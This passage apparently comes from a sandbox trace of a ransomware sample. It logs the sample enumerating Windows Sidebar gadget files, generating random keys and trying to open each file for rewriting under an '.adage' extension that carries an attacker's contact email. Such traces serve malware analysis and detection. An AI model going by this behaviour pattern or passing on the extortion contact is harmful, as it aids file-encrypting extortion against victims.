Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_m.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_m.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_m.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_m.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.064] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0063.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_s.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_s.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0063.065] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3092) returned 1 [0063.065] CloseHandle (hObject=0x1ac) returned 1 [0063.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_s.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_s.png")) returned 0x20 [0063.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_s.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_s.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.065] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_s.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_s.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.066] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0063.066] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_settings.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_settings.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0063.066] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=33403) returned 1 [0063.066] CloseHandle (hObject=0x1ac) returned 1 [0063.066] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_settings.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_settings.png")) returned 0x20 [0063.066] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_settings.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_settings.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.066] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_settings.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_settings.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.066] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0063.066] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0063.067] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=15614) returned 1 [0063.067] CloseHandle (hObject=0x1ac) returned 1 [0063.067] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern.png")) returned 0x20 [0063.067] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.067] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.068] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0063.068] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_dot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0063.068] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2966) returned 1 [0063.068] CloseHandle (hObject=0x1ac) returned 1 [0063.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_dot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_dot.png")) returned 0x20 [0063.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_dot.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_dot.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_dot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.069] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0063.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_h.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_h.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0063.070] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2922) returned 1 [0063.070] CloseHandle (hObject=0x1ac) returned 1 [0063.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_h.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_h.png")) returned 0x20 [0063.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_h.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_h.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.070] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_h.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_h.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.070] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0063.070] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_m.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_m.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0063.071] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2940) returned 1 [0063.071] CloseHandle (hObject=0x1ac) returned 1 [0063.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_m.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_m.png")) returned 0x20 [0063.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_m.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_m.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.071] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_m.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_m.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.071] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0063.071] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_s.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_s.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0063.072] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3038) returned 1 [0063.072] CloseHandle (hObject=0x1ac) returned 1 [0063.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_s.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_s.png")) returned 0x20 [0063.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_s.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_s.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_s.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_s.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.072] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0063.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_settings.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_settings.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0063.072] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=20945) returned 1 [0063.073] CloseHandle (hObject=0x1ac) returned 1 [0063.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_settings.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_settings.png")) returned 0x20 [0063.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_settings.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_settings.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.073] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_settings.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_settings.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.073] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0063.073] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0063.074] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=25608) returned 1 [0063.074] CloseHandle (hObject=0x1ac) returned 1 [0063.074] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty.png")) returned 0x20 [0063.074] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.074] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.074] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0063.074] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty_dot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty_dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0063.074] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2903) returned 1 [0063.074] CloseHandle (hObject=0x1ac) returned 1 [0063.075] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty_dot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty_dot.png")) returned 0x20 [0063.075] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty_dot.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty_dot.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.075] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty_dot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty_dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.075] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0063.075] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty_h.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty_h.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0063.654] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2959) returned 1 [0063.654] CloseHandle (hObject=0x1ac) returned 1 [0063.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty_h.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty_h.png")) returned 0x20 [0063.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty_h.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty_h.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.839] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty_h.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty_h.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.851] SetEvent (hEvent=0x154) returned 1 [0063.859] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0063.860] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_divider.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_divider.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.107] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=131) returned 1 [0064.107] CloseHandle (hObject=0x1b0) returned 1 [0064.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_divider.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_divider.png")) returned 0x20 [0064.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_divider.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_divider.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.107] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_divider.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_divider.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.108] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0064.108] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\glass.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\glass.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.244] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=308) returned 1 [0064.244] CloseHandle (hObject=0x1b0) returned 1 [0064.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\glass.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\glass.png")) returned 0x20 [0064.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\glass.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\glass.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.244] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\glass.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\glass.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.244] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0064.244] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\logo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\logo.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.245] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=6166) returned 1 [0064.245] CloseHandle (hObject=0x1b0) returned 1 [0064.245] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\logo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\logo.png")) returned 0x20 [0064.245] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\logo.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\logo.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.245] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\logo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\logo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.245] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0064.245] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\drag.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.245] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=16491) returned 1 [0064.246] CloseHandle (hObject=0x1b0) returned 1 [0064.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\drag.png")) returned 0x20 [0064.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\drag.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\drag.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\drag.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.246] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0064.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\currency.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\css\\currency.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.247] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=19502) returned 1 [0064.247] CloseHandle (hObject=0x1b0) returned 1 [0064.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\currency.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\css\\currency.css")) returned 0x20 [0064.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\currency.css.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\css\\currency.css.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.247] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\currency.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\css\\currency.css"), 